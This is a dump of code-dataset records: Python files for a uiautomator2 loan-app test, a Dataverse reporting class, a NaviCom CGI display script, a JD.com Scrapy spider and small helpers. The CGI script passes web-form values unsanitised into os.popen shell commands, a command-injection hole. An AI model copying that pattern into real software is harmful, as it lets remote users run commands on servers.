"django.conf.urls.url", "line_number": 50, "usage_type": "call"}, {"api_name": "views.article.CategoryView.as_view", "line_number": 50, "usage_type": "call"}, {"api_name": "views.article.CategoryView", "line_number": 50, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 51, "usage_type": "call"}, {"api_name": "views.article.ArticleEditView.as_view", "line_number": 51, "usage_type": "call"}, {"api_name": "views.article.ArticleEditView", "line_number": 51, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 53, "usage_type": "call"}, {"api_name": "views.article.ArticleView.as_view", "line_number": 53, "usage_type": "call"}, {"api_name": "views.article.ArticleView", "line_number": 53, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 55, "usage_type": "call"}, {"api_name": "views.search.SearchView.as_view", "line_number": 55, "usage_type": "call"}, {"api_name": "views.search.SearchView", "line_number": 55, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 58, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 60, "usage_type": "call"}, {"api_name": "views.index.IndexView.as_view", "line_number": 60, "usage_type": "call"}, {"api_name": "views.index.IndexView", "line_number": 60, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 61, "usage_type": "call"}, {"api_name": "views.action.ActionView.as_view", "line_number": 61, "usage_type": "call"}, {"api_name": "views.action.ActionView", "line_number": 61, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 62, "usage_type": "call"}, {"api_name": "views.action.ActionView.as_view", "line_number": 62, "usage_type": "call"}, {"api_name": "views.action.ActionView", "line_number": 62, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 64, "usage_type": "call"}, {"api_name": "views.captcha.CaptchaView.as_view", "line_number": 64, "usage_type": "call"}, {"api_name": "views.captcha.CaptchaView", "line_number": 64, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 70, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 70, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 70, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 70, "usage_type": "name"}]} {"seq_id": "612515248", "text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom config.random_date import *\nimport uiautomator2 as u2\nimport unittest\nimport time\nfrom utx import *\nimport uiautomator2.ext.ocr as ocr\n\n\nclass TestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.d = u2.connect()\n ocr.API = \"http://ocr.open.netease.com/api/ocr\"\n u2.plugin_register(\"ocr\", ocr.OCR)\n cls.d.set_orientation('natural')\n cls.d.healthcheck()\n cls.d.implicitly_wait(10)\n cls.d.app_clear(\"com.xiaoxiao.ludan\")\n cls.d.app_stop_all()\n cls.NowTime = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n cls.test_random = test_random_date()\n Case_DIR = os.path.abspath(os.path.dirname(__file__))\n cls.loanID_PATH = os.path.join(Case_DIR + \"\\\\config\\\\loan_info.txt\")\n\n\n def setUp(self):\n self.d.set_fastinput_ime(True)\n self.sess = self.d.session(\"com.xiaoxiao.ludan\")\n self.name = self.test_random.get_name()\n self.phone = self.test_random.createPhone()\n self.idcard = self.test_random.idcard_generator()\n\n def tearDown(self):\n self.d.app_stop_all()\n self.d.set_fastinput_ime(False)\n\n def login(self,username,password):\n d = self.sess\n d.watchers.remove()\n d.watchers.watched = False\n log.info('开始登录>>>>>>>>>>')\n d.watcher(\"获取app权限\").when(resourceId=\"android:id/button1\").when(text=\"允许\").click(text=\"允许\")\n d.watchers.run()\n d(resourceId=\"com.xiaoxiao.ludan:id/et_account\").set_text(username,timeout=10)\n d(resourceId=\"com.xiaoxiao.ludan:id/et_password\").set_text(password,timeout=5)\n d(resourceId=\"com.xiaoxiao.ludan:id/bt_login\").click_exists(timeout=5)\n if d(resourceId=\"com.xiaoxiao.ludan:id/title\").exists(timeout=2) == True:\n d(resourceId=\"com.xiaoxiao.ludan:id/ed_vc\").set_text('8888',timeout=5)\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_sign\").click(timeout=5)\n else:\n pass\n self.assertTrue(d(text=u\"首页\").exists(timeout=3),msg=d.toast.get_message(10, 5))\n log.info('服务器返回：%s' % d.toast.get_message(10, 10))\n print('服务器返回：%s' % d.toast.get_message(10, 10))\n\n\n @tag(Tag.Encoding)\n def test_update_loan(self):\n \"\"\" 按揭员更新贷款\n\n :return:\n \"\"\"\n d = self.sess\n self.login(69,12345678)\n log.info('开始更新贷款>>>>>>>>>>')\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_menu\", text=u\"贷款跟进\").click(timeout=10)\n self.assertTrue(d(resourceId=\"com.xiaoxiao.ludan:id/et_pact_search\").exists(timeout=3),msg=d.toast.get_message(10, 5))\n if d(resourceId=\"com.xiaoxiao.ludan:id/tv_search_type\",text='客户名').exists() == True:\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_search_type\", text='客户名').click()\n else:\n self.d.ext_ocr.all()\n self.d.ext_ocr(\"客户名\").click(timeout=3)\n d(text=u\"贷款号\").click(timeout=2)\n with open(self.loanID_PATH, 'r') as f:\n loan_id = f.read()\n log.info('本次待更新的贷款编号为：%s' % loan_id)\n print('本次待更新的贷款编号为：%s' % loan_id)\n d(resourceId=\"com.xiaoxiao.ludan:id/et_pact_search\").clear_text()\n d(resourceId=\"com.xiaoxiao.ludan:id/et_pact_search\").set_text(loan_id)\n self.d.set_fastinput_ime(False)\n d.send_action('search')\n self.d.set_fastinput_ime(True)\n self.assertTrue(d(resourceId=\"com.xiaoxiao.ludan:id/tv_loan_numb\",text='%s' % loan_id).exists(timeout=5),msg=d.toast.get_message(10, 5))\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_loan_numb\", text='%s' % loan_id).click()\n d(resourceId=\"com.xiaoxiao.ludan:id/title\",text='贷款详情').exists(timeout=3)\n d(resourceId=\"com.xiaoxiao.ludan:id/iv_add\").click()\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_bt_content\",text='跟进').click(timeout=5)\n self.assertTrue(d(resourceId=\"com.xiaoxiao.ludan:id/title\",text='已签约待面签').exists(timeout=5),msg=d.toast.get_message(10, 5))\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_content_name\",text='银行经理').sibling(resourceId=\"com.xiaoxiao.ludan:id/tv_content\").click()\n d(text='猴赛雷').click(timeout=3)\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_edit_title\",text='备注').sibling('com.xiaoxiao.ludan:id/et_content').set_text(u\"测试数据 - %s\" % self.NowTime,timeout=2)\n d(resourceId=\"com.xiaoxiao.ludan:id/tv_add_manager\").click()\n self.assertTrue(d(resourceId=\"com.xiaoxiao.ludan:id/title\", text='贷款详情').exists(timeout=2),msg=d.toast.get_message(10, 5))\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n", "sub_path": "examples/com.xiaoxiao.ludan/test_update_loan.py", "file_name": "test_update_loan.py", "file_ext": "py", "file_size_in_byte": 4823, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "unittest.TestCase", "line_number": 14, "usage_type": "attribute"}, {"api_name": "uiautomator2.connect", "line_number": 17, "usage_type": "call"}, {"api_name": "uiautomator2.ext.ocr.API", "line_number": 18, "usage_type": "attribute"}, {"api_name": "uiautomator2.ext.ocr", "line_number": 18, "usage_type": "name"}, {"api_name": "uiautomator2.plugin_register", "line_number": 19, "usage_type": "call"}, {"api_name": "uiautomator2.ext.ocr.OCR", "line_number": 19, "usage_type": "attribute"}, {"api_name": "uiautomator2.ext.ocr", "line_number": 19, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 25, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 25, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 102, "usage_type": "call"}]} {"seq_id": "31370886", "text": "import base64\n\nwith open(\"favicon.ico\",\"rb\") as f:\n strr = base64.b64encode(f.read())\n f.close()\n data = \"img = %s\" % strr\nwith open(\"picture.py\",\"w+\") as g:\n g.write(data)\n g.close()\n\n", "sub_path": "blog-hexo/将图片转成py文件.py", "file_name": "将图片转成py文件.py", "file_ext": "py", "file_size_in_byte": 200, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "base64.b64encode", "line_number": 4, "usage_type": "call"}]} {"seq_id": "645076252", "text": "import re\nimport logging\n\nfrom .user import UserReports\n\n\nclass DataverseReports(object):\n def __init__(self, dataverse_api=None, config=None):\n if dataverse_api is None:\n print('Dataverse API required to create dataverse reports.')\n return\n\n if config is None:\n print('Dataverse configuration required to create dataverse reports.')\n return\n\n self.dataverse_api = dataverse_api\n self.config = config\n self.dataverse_size_pattern = re.compile('dataverse:\\s(.*)\\sbyte')\n self.logger = logging.getLogger('dataverse-reports')\n\n # Create UserReports object to retrieve user metadata\n self.user_reports = UserReports(dataverse_api=dataverse_api, config=config)\n\n # Ensure trailing slash on work_dir\n if config['work_dir'][len(config['work_dir'])-1] != '/':\n config['work_dir'] = config['work_dir'] + '/'\n\n # Load namespaces for Sword API\n self.ns = {'atom': 'http://www.w3.org/2005/Atom',\n 'sword': 'http://purl.org/net/sword/terms/state'}\n\n def report_dataverses_recursive(self, dataverse_identifier):\n # List of dataverses\n dataverses = []\n\n # Load dataverses\n self.load_dataverses_recursive(dataverses, dataverse_identifier)\n\n return dataverses\n\n def load_dataverses_recursive(self, dataverses=[], dataverse_identifier=None):\n if dataverse_identifier is None:\n return\n\n # Add Dataverse to list\n self.logger.info('Adding dataverse to report: %s', dataverse_identifier)\n self.load_dataverse(dataverses, dataverse_identifier)\n\n # Load child objects\n dataverse_contents = self.dataverse_api.get_dataverse_contents(identifier=dataverse_identifier)\n for dvObject in dataverse_contents:\n if dvObject['type'] == 'dataverse':\n self.load_dataverses_recursive(dataverses, dvObject['id'])\n\n def load_dataverse(self, dataverses, dataverse_identifier):\n # Load dataverse\n self.logger.info(\"Dataverse identifier: %s\", dataverse_identifier)\n dataverse_response = self.dataverse_api.get_dataverse(identifier=dataverse_identifier)\n response_json = dataverse_response.json()\n if 'data' in response_json:\n dataverse = response_json['data'] \n\n self.logger.info(\"Dataverse name: %s\", dataverse['name'])\n\n # Flatten the nested contact information\n if 'dataverseContacts' in dataverse:\n dataverseContacts = dataverse['dataverseContacts']\n if len(dataverseContacts) > 0:\n self.logger.debug(\"The dataverseContacts list contains \" + str(len(dataverseContacts)) + \" contacts.\")\n dataverseContact = dataverseContacts[0]\n if 'contactEmail' in dataverseContact:\n contactEmail = dataverseContact['contactEmail'].strip()\n self.logger.debug(\"Found email of dataverse contact: %s\", str(contactEmail))\n user = self.user_reports.find_user_email(contactEmail)\n if bool(user):\n self.logger.debug(\"Adding contact information: %s\", user)\n if 'userIdentifier' in user:\n dataverse['contactIdentifier'] = user['userIdentifier']\n if 'firstName' in user:\n dataverse['contactFirstName'] = user['firstName']\n if 'lastName' in user:\n dataverse['contactLastName'] = user['lastName']\n if 'email' in user:\n dataverse['contactEmail'] = user['email']\n if 'affiliation' in user:\n dataverse['contactAffiliation'] = user['affiliation']\n if 'roles' in user:\n dataverse['contactRoles'] = user['roles']\n else:\n self.logger.warn(\"Unable to find user from dataverseContact email: \" + contactEmail)\n dataverse['contactEmail'] = contactEmail\n else:\n self.logger.warn(\"First dataverseContact doesn't have an email.\")\n else:\n self.logger.warn(\"List of dataverseContacts is empty.\")\n elif 'creator' in dataverse: # Legacy field in older Dataverse versions\n self.logger.debug(\"Replacing creator array.\")\n creator = dataverse['creator']\n if 'identifier' in creator:\n dataverse['contactIdentifier'] = creator['identifier']\n if 'displayName' in creator:\n dataverse['contactName'] = creator['displayName']\n if 'email' in creator:\n dataverse['contactEmail'] = creator['email']\n if 'affiliation' in creator:\n dataverse['contactAffiliation'] = creator['affiliation']\n if 'position' in creator:\n dataverse['contactPosition'] = creator['position']\n dataverse.pop('creator')\n else:\n self.logger.warn(\"Unable to find dataverse contact information.\")\n\n # Add the data (file) size of the dataverse and all its sub-dataverses\n dataverse_size_response = self.dataverse_api.get_dataverse_size(identifier=dataverse_identifier, includeCached=True)\n response_size_json = dataverse_size_response.json()\n if response_size_json['status'] == 'OK' and 'data' in response_size_json:\n dataverse_size = response_size_json['data']\n if 'message' in dataverse_size:\n size_message = dataverse_size['message']\n self.logger.debug(\"The message element from storagesize endpoint: \" + size_message)\n size_bytes_match = re.search(self.dataverse_size_pattern, size_message)\n if size_bytes_match is not None:\n size_bytes_string = size_bytes_match.group(1)\n size_bytes = int(size_bytes_string.replace(',',''))\n dataverse['contentSize (MB)'] = (size_bytes/1048576)\n else:\n self.logger.warning(\"Unable to find the bytes value in the message.\")\n else:\n self.logger.warning(\"No message element in response from storagesize endpoint.\")\n\n # Add the 'dataverseHasBeenReleased' field from the Sword API\n if 'alias' in dataverse:\n sword_dataverse = self.dataverse_api.sword_get_dataverse(dataverse['alias'])\n dataverse_has_been_released = sword_dataverse.find('sword:dataverseHasBeenReleased', self.ns)\n if dataverse_has_been_released is not None:\n if dataverse_has_been_released.text == 'true':\n self.logger.debug(\"Element 'dataverseHasBeenReleased' is true.\")\n dataverse['released'] = 'Yes'\n else:\n self.logger.debug(\"Element 'dataverseHasBeenReleased' is false.\")\n dataverse['released'] = 'No'\n else:\n self.logger.debug(\"Element 'dataverseHasBeenReleased' is not present in XML.\")\n\n # Load datasets\n #dataverse_contents = self.dataverse_api.get_dataverse_contents(identifier=dataverse_identifier)\n #for dvObject in dataverse_contents:\n #if dvObject['type'] == 'dataset':\n #self.load_dataset(dataverse, dvObject['id']) \n\n dataverses.append(dataverse)\n else:\n self.logger.warn(\"Dataverse was empty.\")\n", "sub_path": "reports/dataverse.py", "file_name": "dataverse.py", "file_ext": "py", "file_size_in_byte": 7952, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.compile", "line_number": 19, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 20, "usage_type": "call"}, {"api_name": "user.UserReports", "line_number": 23, "usage_type": "call"}, {"api_name": "re.search", "line_number": 122, "usage_type": "call"}]} {"seq_id": "132388739", "text": "#!/usr/bin/python3\n#-*- coding:utf8 -*-\n\nimport os, sys\nsys.path.append(\"/bioinfo/local/build/numpy_python3/lib/python3.1/site-packages/\") # numpy\nsys.path.append(\"/bioinfo/pipelines/navicom/dev/html/lib/\") # navicell\nimport numpy as np\nimport subprocess\nimport re, time\nimport cgi\nimport cgitb\ncgitb.enable() # Debug for development\n#sys.tracebacklimit=0\n\nfrom navicom import *\nfrom helper_cgi import *\n\nlog(\"Starting the display\")\nform = cgi.FieldStorage()\n\nstudy_id = getFormValue(form, \"study_id\")\n\nif ('url' in form):\n url = form[\"url\"].value\n url_dir = processURL(url)\n rel_dir = \"..\" + url_dir # Relative path for the cgis\nelse:\n error(\"'url' field is not specified\\n\")\n\nfname = os.popen(\"ls \" + rel_dir + \" | grep 'id=\" + study_id + \"\\.txt'\").readlines()[0].strip()\npatient = \"\"\nif ('patient' in form and form['patient'].value!=\"\"):\n patient = form['patient'].value\n fname = os.popen(\"ls \" + rel_dir + \" | grep 'id=\" + study_id + \"_\" + patient + \"\\.txt'\").readlines()[0].strip()\n\nprint_headers()\n#log(\"Loading NaviCom\")\n\ndisplayMethod = form[\"display_selection\"].value\n#mm = [bool(re.search(\"[dD]isplay\", list(NaviCom.__dict__.keys())[ii] )) for ii in range(len(NaviCom.__dict__.keys()))]\n#valid_displays = list(np.array(NaviCom.__dict__.keys())[np.array(mm)]) + [\"completeExport\"]\n#if (not displayMethod in valid_displays):\n #return_error(\"This method of display does not exist\")\n\nif ('id' in form):\n session_id = form[\"id\"].value\nelse:\n return_error(\"'id' field is not specified\")\n\nif (\"processing\" in form):\n processing = form[\"processing\"].value\nelse:\n processing = \"raw\"\n\nhc = getFormValue(form, \"high_color\")\nlc = getFormValue(form, \"low_color\")\nzc = getFormValue(form, \"zero_color\")\nnc = NaviCom(display_config=DisplayConfig(color_gradient=[lc, hc], zero_color=zc, step_count=3))\nattachNaviCell(nc, url, session_id)\nnc._nv.noticeMessage('', 'Loading', 'NaviCom is performing display. It can take up to 10 minutes for big datasets<br/>This window will close automatically once the display is complete', position='middle')\nnc._nv.flush()\n\ntry:\n nc.loadData(rel_dir + fname)\n log(\"Data loaded in NaviCom\")\nexcept:\n error(\"Could not load data from \" + rel_dir + fname + \" in navicom\")\nnc._browser_opened = True # The browser is opened by the client\n\n#subprocess.Popen(\"./navicom_display.py '\" + fname + \"' '\" + session_id + \"' '\" + url + \"' '\" + displayMethod + \"' '\" + processing + \"' &\", shell=True)\n#subprocess.Popen([\"./navicom_display.py\", fname, session_id, url, displayMethod, processing, \"&\"])\nlog(\"Running with \" + fname)\nif (displayMethod == \"completeDisplay\"):\n nc.completeDisplay(processing=processing)\nelif (displayMethod == \"displayMethylome\"):\n nc.displayMethylome(processing=processing) # background = \"auto\" ?\nelif (displayMethod == \"displayMutations\"):\n nc.displayMutations(processing=processing) # background ?\nelif (displayMethod == \"completeExport\"):\n nc.completeExport()\nelif (displayMethod == \"mRNAandProt\"):\n nc.displayExpressionWithProteomics(processing=processing)\nelif (displayMethod == \"mRNAandmiRNA\"):\n nc.displayExpressionWithmiRNA(processing=processing)\nelif (displayMethod == \"mRNAandMeth\"):\n nc.displayExpressionWithMethylation(processing=processing)\nelif (displayMethod == \"mRNAandCNA\"):\n nc.displayExpressionWithCopyNumber(processing=processing)\nelif (displayMethod == \"mRNAandMut\"):\n nc.displayExpressionWithMutations(processing=processing)\nelif (displayMethod == \"mutAndGenes\"):\n nc.displayMutationsWithGenomics(processing=processing)\nelif (displayMethod == \"mRNA\"):\n nc.displayExpression(processing=processing)\nelse:\n error(\"This method of display is not valid\")\nnc._nv.noticeClose('')\nnc._nv.flush()\nlog('Done')\nprint(\"FNAME: \" + url_dir + fname)\n\n", "sub_path": "cgi-bin/displayData.py", "file_name": "displayData.py", "file_ext": "py", "file_size_in_byte": 3776, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cgitb.enable", "line_number": 12, "usage_type": "call"}, {"api_name": "cgi.FieldStorage", "line_number": 19, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 30, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 34, "usage_type": "call"}]} {"seq_id": "58014292", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nimport scrapy_splash\nimport time\nimport re\nimport json\n\nfrom scrapy.shell import inspect_response\nfrom tutorial.items import Product\nfrom tutorial.itemLoaders import ProductLoader\n\n\nclass PhoneSpider(scrapy.Spider):\n\tname = 'phone'\n\n\tdef start_requests(self):\n\t\tscript = '''\n\t\tfunction main(splash, args)\n\t\t\tsplash.images_enabled = false\n\t\t\tsplash:go(args.url)\n\t\t\tsplash:wait(args.wait)\n\n\t\t\tsplash:select('#J_bottomPage input.input-txt'):setAttribute('value', args.pageNum)\n\t\t\tsplash:select('#J_bottomPage .p-skip a'):mouse_click()\n\t\t\tsplash:wait(args.wait)\n\n\t\t\tsplash:runjs(\"window.scrollTo(0, document.body.scrollHeight);\")\n\t\t\tsplash:wait(args.wait)\n\n\t\t\treturn splash:html()\n\t\tend\n\t\t'''\n\n\t\targsDict = {\n\t\t\t'url': 'https://search.jd.com/Search?keyword=手机&enc=utf-8&wq=手机&pvid=5b3e800e664c43869c8a72e46929024e',\n\t\t\t'wait': 5,\n\t\t\t'pageNum': 10,\n\t\t\t'lua_source': script,\n\t\t}\n\n\t\t# 使用的 virtualbox 虚拟机，性能有限，一次爬10页，手动搜索看到一共有100页\n\t\tfor i in range(10):\n\t\t\tyield scrapy_splash.SplashRequest(\n\t\t\t\targsDict['url'], self.parse, args=argsDict, endpoint='execute', priority=2,\n\t\t\t\tmeta={\n\t\t\t\t\t'pageNum': argsDict['pageNum']\n\t\t\t\t}\n\t\t\t)\n\n\t\t\targsDict['pageNum'] += 1\n\t\t\tbreak\n\n\tdef parse(self, response):\n\t\turls = response.css('li.gl-item div.p-name a::attr(href)').getall()\n\t\tpageNum = response.meta['pageNum']\n\n\t\tscript = '''\n\t\tfunction main(splash, args)\n\t\t\tsplash.images_enabled = false\n\t\t\tsplash:go(args.url)\n\t\t\tsplash:wait(6)\n\n\t\t\treturn splash:html()\n\t\tend\n\t\t'''\n\n\t\targsDict = {\n\t\t\t'url': '',\n\t\t\t'lua_source': script,\n\t\t}\n\n\t\tfor url in urls:\n\t\t\tif not url.startswith('https:'):\n\t\t\t\turl = 'https:' + url\n\n\t\t\t# argsDict['url'] = 'https://item.jd.com/7509313.html' # 32页评论\n\t\t\targsDict['url'] = url\n\n\t\t\tyield scrapy_splash.SplashRequest(\n\t\t\t\turl, self.parseProduct, args=argsDict, endpoint='execute', priority=1,\n\t\t\t\tmeta={\n\t\t\t\t\t'pageNum': pageNum\n\t\t\t\t}\n\t\t\t)\n\n\tdef parseProduct(self, response):\n\t\t# urls = response.css('#spec-list li img::attr(src)').getall()\n\t\tproductLoader = self.getLoader(response)\n\n\t\tyield productLoader.load_item()\n\n\t\t# pattern = r'commentVersion:\\'\\d*\\','\n\t\t# commentVersion = response.css('script::text').re_first(pattern)\n\t\t# commentVersion = re.sub(r'\\D', '', commentVersion)\n\n\t\t# meta = {\n\t\t\t# 'l': productLoader,\n\t\t\t# 'imgs': [x for x in range(len(urls))],\n\t\t\t# 'referer': response.url, # 评论接口要用\n\t\t\t# 'commentVersion': commentVersion, # 评论接口要用\n\t\t# }\n\n\t\t# for url in urls:\n\t\t\t# url = self.checkImgUrl(url)\n\n\t\t\t# yield scrapy.Request(url=url, callback=self.parseImgs, meta=meta, dont_filter=True)\n\n\tdef getLoader(self, response):\n\t\tproductId = re.sub(r'\\D', '', response.url)\n\n\t\tl = ProductLoader(item=Product(), response=response)\n\n\t\tl.add_css('name', '.itemInfo-wrap .sku-name::text')\n\t\tl.add_css('price', '.itemInfo-wrap .summary-price-wrap .p-price .price::text')\n\t\tl.add_value('url', response.url)\n\t\tl.add_value('productId', productId)\n\t\tl.add_css('shopName', '#crumb-wrap .item .name a::text')\n\t\tl.add_css('shopUrl', '#crumb-wrap .item .name a::attr(href)')\n\n\t\tl.add_css('brand', '#parameter-brand li a::text')\n\t\tl.add_css('parameterList', '#detail .p-parameter .parameter2 li::text')\n\t\tl.add_css('packageList', '#detail .tab-con .package-list *::text')\n\t\t\n\t\tl.add_value('pageNum', response.meta['pageNum'])\n\n\t\tfor table_item in response.css('#detail .tab-con .Ptable-item'):\n\t\t\ttableDic = {\n\t\t\t\t'tableName': table_item.css('h3::text').get(),\n\t\t\t\t'dlItems': []\n\t\t\t}\n\n\t\t\tfor dl in table_item.css('dl dl'):\n\t\t\t\ttableDic['dlItems'].append([\n\t\t\t\t\tdl.css('dt::text').get(),\n\t\t\t\t\tdl.css('dd:last-child::text').get(),\n\t\t\t\t])\n\n\t\t\tl.add_value('tableItem', tableDic)\n\n\t\treturn l\n\n\tdef checkImgUrl(self, url):\n\t\tif not url.startswith('https:'):\n\t\t\turl = 'https:' + url\n\t\t\n\t\treturn url\n\n\tdef parseImgs(self, response):\n\t\tmeta = response.meta\n\t\tproductLoader = meta['l']\n\t\timgs = meta['imgs']\n\n\t\tproductId = productLoader.get_output_value('productId')\n\t\tpicNo = len(imgs)\n\n\t\turl = response.url\n\t\tstart = url.rindex('.')\n\t\tfileType = url[start:]\n\n\t\tfilename = 'imgs/{}_{}{}'.format(productId, picNo, fileType)\n\t\t# with open(filename, 'wb') as f:\n\t\t# f.write(response.body)\n\n\t\timg = {\n\t\t\t'b': response.body,\n\t\t\t'path': filename,\n\t\t}\n\n\t\tproductLoader.add_value('imgs', img)\n\n\t\timgs.pop()\n\t\tif len(imgs) == 0:\n\t\t\tyield self.crawlCommentsPage0(meta)\n\n\tdef crawlCommentsPage0(self, meta):\n\t\tproductLoader = meta['l']\n\t\tproductId = productLoader.get_output_value('productId')\n\t\tcommentVersion = meta['commentVersion']\n\n\t\t# 请求第一页评论数据，从响应结果中获取 maxPage，循环获取剩余页码中的评论\n\t\turl = 'https://sclub.jd.com/comment/productPageComments.action?callback=fetchJSON_comment98vv{}&score=0&sortType=5&pageSize=10&isShadowSku=0&rid=0&fold=1&productId={}&page='\n\t\tbaseUrl = url.format(commentVersion, productId)\n\n\t\theaders = {'referer': meta['referer']}\n\t\tmetaDic = {\n\t\t\t'l': productLoader,\n\t\t\t'baseUrl': baseUrl,\n\t\t\t'referer': meta['referer'],\n\t\t}\n\n\t\treturn scrapy.Request(url=baseUrl + '0', callback=self.parseCommentsPage0, headers=headers, meta=metaDic)\n\n\tdef parseCommentsPage0(self, response):\n\t\tmeta = response.meta\n\t\tproductLoader = meta['l']\n\t\tbaseUrl = meta['baseUrl']\n\t\theaders = {'referer': meta['referer']}\n\n\t\tresult = self.getResult(response)\n\t\tmaxPage = result['maxPage']\n\n\t\tself.addComments(result['comments'], productLoader)\t\t# 没有评论时， comments 是 []\n\n\t\t# 没有评论 或者 只有一页评论\n\t\tif maxPage < 2:\n\t\t\tyield productLoader.load_item()\n\t\t\treturn\n\n\t\tmetaDic = {\n\t\t\t'l': productLoader,\n\t\t\t'tryTimes': [0],\n\t\t}\n\n\t\tfor i in range(maxPage):\n\t\t\tif i == 0:\n\t\t\t\tcontinue\n\n\t\t\turl = baseUrl + str(i)\n\n\t\t\tyield scrapy.Request(url=url, callback=self.parseComments, headers=headers, meta=metaDic)\n\n\tdef getResult(self, response):\n\t\ttext = response.text\n\n\t\tif text.startswith('fetchJSON'):\n\t\t\tstart = text.index('{')\n\t\t\ttext = text[start:-2] # 截取 fetchJSON_comment98vv123( 和 ); 中间的 json 字符串\n\n\t\tresult = json.loads(text)\n\n\t\treturn result\n\n\tdef addComments(self, comments, productLoader):\n\t\tfor comment in comments:\n\t\t\tcommentDic = {\n\t\t\t\t'content': comment['content'],\n\t\t\t\t'creationTime': comment['creationTime'],\n\t\t\t}\n\n\t\t\t# 判断是否有追评\n\t\t\tif comment['afterDays'] > 0 and 'afterUserComment' in comment:\n\t\t\t\tafterUserComment = comment['afterUserComment']\n\n\t\t\t\tcommentDic['afterContent'] = afterUserComment['content']\n\t\t\t\tcommentDic['afterCreated'] = afterUserComment['created']\n\t\t\t\tcommentDic['afterDays'] = comment['afterDays']\n\n\t\t\tproductLoader.add_value('comments', commentDic)\n\n\tdef parseComments(self, response):\n\t\tproductLoader = response.meta['l']\n\n\t\tresult = self.getResult(response)\n\t\tself.addComments(result['comments'], productLoader)\n\n\t\tmaxPage = result['maxPage']\n\t\ttryTimes = response.meta['tryTimes']\n\t\ttryTimes.append(0)\n\n\t\tif maxPage == len(tryTimes):\n\t\t\tyield productLoader.load_item()\n", "sub_path": "tutorial/spiders/phone.py", "file_name": "phone.py", "file_ext": "py", "file_size_in_byte": 6936, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scrapy.Spider", "line_number": 13, "usage_type": "attribute"}, {"api_name": "scrapy_splash.SplashRequest", "line_number": 43, "usage_type": "call"}, {"api_name": "scrapy_splash.SplashRequest", "line_number": 79, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 109, "usage_type": "call"}, {"api_name": "tutorial.itemLoaders.ProductLoader", "line_number": 111, "usage_type": "call"}, {"api_name": "tutorial.items.Product", "line_number": 111, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 191, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 220, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 229, "usage_type": "call"}]} {"seq_id": "465136416", "text": "from datetime import date\nimport os\nimport shutil\nimport string\nimport subprocess as sp\nimport sys\n\n\nclass Repository:\n\n def __init__(self, url, branch='master', name=None):\n self.project = {\n 'project_name': 'Ankh',\n 'lib_name': 'Ankh_lib',\n 'release_date': date.today(),\n 'src_folder': 'src',\n }\n\n args = ['rm', '-rf', 'repo/']\n sp.call(args)\n\n args = ['git', 'clone', url, 'repo', '-b', branch]\n sp.call(args)\n\n if name is None:\n name = url.split('/')[-1]\n name = name.split('.')[0]\n name = name.lower()\n\n self.project['project_name'] = name.replace('-', '_')\n\n self.project['lib_name'] = self.project['project_name'].split('_')\n if len(self.project['lib_name']) > 1:\n self.project['lib_name'] = self.project['lib_name'][0]\n else:\n self.project['lib_name'] = self.project['lib_name'][0] + '_lib'\n\n self.project['src_folder'] = 'src' if 'src' in os.listdir('repo') else 'source'\n\n\n def find_media(self):\n os.chdir('repo')\n\n dirs = os.listdir()\n if 'resources' in dirs:\n self.project['media_dir'] = 'resources'\n elif 'res' in dirs:\n self.project['media_dir'] = 'res'\n elif 'media' in dirs:\n self.project['media_dir'] = 'media'\n elif 'sounds' in dirs:\n self.project['media_dir'] = 'sounds'\n\n os.chdir('..')\n\n def build(self):\n os.chdir('repo')\n sp.call('./linux/build.sh')\n sp.call(['./linux/create_installer.sh', 'all'])\n\n def rename(self):\n rename = (\n 'repo/linux/project_name',\n 'repo/dist/linux/packages/project_name',\n )\n\n for name in rename:\n new_name = name.replace('project_name', self.project['project_name'])\n shutil.move(name, new_name)\n\n def copy_files(self):\n # 'repo/dist/linux/packages/project_name/meta/license.txt' #copy license from root (COPY LICENSE!!!)\n 